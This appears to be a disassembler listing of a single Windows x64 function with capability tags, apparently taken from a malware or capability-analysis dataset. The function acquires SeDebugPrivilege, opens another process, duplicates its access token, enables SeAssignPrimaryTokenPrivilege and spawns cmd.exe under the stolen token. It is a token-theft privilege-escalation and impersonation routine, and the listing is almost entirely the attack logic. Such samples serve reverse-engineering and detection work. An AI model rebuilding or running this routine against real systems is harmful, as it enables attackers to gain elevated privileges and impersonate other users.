Function at 0x1400112a3
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Impersonate user

Disassembly:
jmp 0x140012050
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x1400240ae]
call fcn.1400113bb
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
call fcn.14001127b
lea rcx, str.SeDebugPrivilege_Added__n
call fcn.1400111a4
lea rcx, str.SeDebugPrivilege
call fcn.1400111e5
test eax, eax
jne 0x1400120cc
lea rcx, str.I_do_not_have_SeDebugPrivilege__n
call fcn.1400111a4
jmp 0x1400120d8
lea rcx, str.I_do_have_SeDebugPrivilege__n
call fcn.1400111a4
call fcn.140011352
mov dword [rbp + 0x44], eax
mov edx, dword [rbp + 0x44]
lea rcx, str.Using_PID__lu_n
call fcn.1400111a4
mov r8d, dword [rbp + 0x44]
mov edx, 1
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001212c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_the_process_with_elevated_privileges._Error:__lu_n
call fcn.1400111a4
mov eax, 1
jmp 0x1400122db
lea r8, [rbp + 8]
mov edx, 2
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14001216b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_process_token._Error:__lu_n
call fcn.1400111a4
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400122db
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x1400121ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_duplicate_token._Error:__lu_n
call fcn.1400111a4
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400122db
lea rcx, str.SeAssignPrimaryTokenPrivilege
call fcn.14001108c
test eax, eax
jne 0x14001220e
lea rcx, str.Failed_to_enable_SE_ASSIGNPRIMARYTOKEN_NAME_privilege._n
call fcn.1400111a4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400122db
mov dword [rbp + 0x90], 0x68
lea rax, [rbp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rbp + 0x118]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10
xor r9d, r9d
lea r8, str.C:WindowsSystem32cmd.exe
mov edx, 2
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140012295
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithTokenW:__d_n
call fcn.1400111a4
mov eax, 1
jmp 0x1400122db
lea rcx, str.Process_created___n
call fcn.1400111a4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001b270]
call fcn.140011343
mov rax, rdi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret